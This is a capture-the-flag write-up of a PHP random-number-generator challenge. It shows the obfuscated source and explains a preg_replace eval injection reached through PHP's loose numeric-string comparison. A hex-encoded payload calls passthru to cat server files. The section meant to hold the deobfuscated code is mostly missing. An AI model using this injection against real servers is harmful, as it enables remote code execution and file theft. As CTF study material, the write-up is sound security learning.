The page provided appears to be a pseudo random number generator. By reading the page source we can retrieve the PHP sources of the challenge and the flag location (not directly readable)
index.php.txt
is valid PHP code (yes, it is!)
${b("ee3ab0f9421ce0feabb4676542993ab3")}=b("9a8890a6434cd24e876d687bcaf63b40218f525c");
${b("a7d2546914126ca18ca52e3205950070")}=b("c74b0811f86043e9aba0c1d249633993");
${b("116fe81df7d030c1e875745f97f9f138")}=b("6da187003b534e740a777e");
${b("a3bfe0d3698e1310cce7588fbab15dbe")}=b("f19e6937d9080f346a01");
${b("39ebc7035a36015274fdb7bf7c1b661e")}=b("336f2f8b0f837cf318");
${b("66711d77210b4193e5539696d4337127")}=b("283101ccbc823b56");
${b("d1cb34796276edb85d038ee75671cf4b")}(b("82c84c7312d7a17c4df032fc53b96a6eadeacc6624ca8d4763c855a11cb92226a8e3930f10fbef132e844b9062f07676a5b8a02569d68a552ef107d87ff4636ea5a6a10e4d83975a7add578362f07676a5b8ff610ed6d91c66c10ac82894083ae0ba90044a8fdb3e04844b8c36a56a29fed29a0e0ebb8a407a8438c975ec707fe0d4bc2c0e9f8b137acc0e8c41f67076a4badd031dc8e8392e844b8c2ab82f37e0e593050982c54761d108c436ed6a73b3bcd2035a829509218b18c975ec707fb2e89545439f96476bd612c363b7706fefe09e0a49d8914b7a8a0cd636b42f24cd8cd24b0ed6d91223894bcf77f7226eaff391030e828d5a7d9e4bc462ed7220efa9810e4d8397567cca0c827bf0716ea5f48b045bd8974621cd05c873e12c6aa8f6dc1f5682c51e239a66a636b9223afce09d1943d688567acc04c82bbe525593d2d55523fcc5132e844b8c53f7767fb2a686034bd696566bc0188c70f6703ab2e79c0f419bc55d7bc909c964b9657faee3800a5a9f8a5d228404c273b96063e0ea9b054bccd943219a66a636b9223ae0a6ce1f4b8e91527cc10a8c78f86f7ffda1800549a996566bc0188b36fa6d76b3bbc75b0e848a447d995a9c28"));
if(${b("6c74ed82b97f6c415a83aa0aa8baf8d1")}(b("3d7e368111b63c72515d5d46b1"),${b("eb717d90b3287b1fbd")})){${b("532194e0380d7a29761eb0b215b4168d")}=${b("cb3911f75937342f3b")}[b("2daec48e9ce64f696075279dff")];
${b("f877261be92e25500a601f21ab4cfa84")}=${b("507c24291c22ba245b")}[b("398058b936ce0090a90f349a298ae06b96")];
${b("dbcffbbeb2632a6e6c6f84ac52064768")}=b("ac51a58253c0a511c9dc9cafd2490c5bd490ccb550c6a111c9de9aacd7480f5fd595cbb952c0a61bc9de9cadd3430857d792ccb553c1a61bcbd89aa8d2490e5ed493ceb254cba11dcedc9dabd5420d5ed793ccb554cba51cc8d59aaed2490e5ad599ceb154cba419c9d49da6d2480856d298cbb854caa110cfd49da7d2480856");
if(${b("2e272b48041e04ef643cc8624445f2a0")}!=${b("6a24556aba8e247fa9d27de3bed53586")})${b("baee65eb837f2005a229dc821e06b2d9")}(b("d226cbb39ee6930cbddd02ea8b7a2913b7d8a98b9df6850ce79803"));
else${b("966fd744cb7b26253a2d2e10d4f86ceb")}(${b("ee2d11ebf1e0953de1b3cd330bf63b45")}(b("ef1a9b31679b8ed9faa81647e89a674234"),${b("6e9dca05952d2364621f20fd1177a04c")}(b("99b85fb97c17"),${b("b9c7fb42fb9760cf9f90bdc23dcac2e6")}),${b("532194e0380d7a29761eb0b215b4168d")}));
}else{foreach(${b("ff38daff4156b41b58d2ecfb70e4bc6b")}(b("cd248b6cb8"),b("94a8be1778"))as$_)${b("c30cddb21a8c75cc8e45d9fc34655c09")}(${b("9946a48e60730e4ca59fc82e0562fca1")}().b("f975de3ba2"));
}${b("88a0090aa5d28c97de682ff340fc340b")}(b("3812ce7d43f003a4010d64890674a759b78a30aa75ff57e1595925c70a7be910b3857ade0fba4ae61110619f067bbe45a9c463c242f805af1e266497047aeb0cb3cd63805fa916ad0c1c38dc5626af5df3943d964de741f54d4830cf5520ab5df3963b9548e642f14c4d37c35726ac57f3963d944ced45f94e4a30cf5627ac57f1903b914de743f04d4b32c8512dab51f4943c924aec40f04e4b30cf512daf50f29d3b974de743f44c4132cb512dae55f39c3c9f4de645f84b4037c2512cab5cf59c3c9e4de645f85e592ac56e1fb945e7852e8743b619b10c0d258f1a65fc58e0d67bc512b603e6590f64971670a44280c060c20dbe03a4595f779a1260f65ee085219972d557e1595939d4057aeb08f9a8048743f015ae1d003bf66929b60db3c86299"));
function b($b){return eval(/* some php bytecode that breaks the current post */);}
After half an hour of meticulous deobfuscation, some clean PHP code comes out (b()
function not included)
RNG of Ultimate Security
The Most Secure RNG in the World
");
?>
We see that the modifier PREG_REPLACE_EVAL
is set for the substitution pattern inside preg_replace($pattern, $replacement, $subject)
. The replacement string is thus evaluated as PHP code and the result is used for replacing the matching subject string. The code actually executed is the following
php > echo pack("H*", "5368413128644154652843527950542843524333322873545252655628414273282431255371725428655850284558702870492829292929292929292929");
ShA1(dATe(CRyPT(CRC32(sTRReV(ABs($1%SqrT(eXP(EXp(pI())))))))))
Thus, to inject some code in the $algorithm
variable, we must exploit the comparison between numerical strings at line 18. PHP compares numerical strings in a really funny way. See this page for examples.
A possible solution is to hex-encode some functions to retrieve the flag into a number of the same length of $algorithm_val
with at least the 16 most significant digits equal to $algorithm_val
. It's not straightforward to get a working snippet of code using a limited set of characters whose hexadecimal representation is a number, but we are allowed to perform a call to passthru
using sh command substitution of dir
as an argument for cat
>>> 'ShA1(dATe(passthru("cat $(dir)")))'.encode("hex").ljust(124, "0")
'5368413128644154652870617373746872752822636174202428646972292229292900000000000000000000000000000000000000000000000000000000'
After sending this number as the POST parameter rng_algorithm
, we download the file flag.txt.tgz which appears to be base64 encoded several times. A simple sh while loop is enough to avoid useless typings
$ while [ $? -eq 0 ]; do encoded=$(cat flag.b64); echo $encoded | base64 -d > flag.b64; done > /dev/null 2>&1; echo $encoded
flag: 36e03906042b7b266afa32bd1ea35445
Great challenge, thanks to vos and leetmore for this 🙂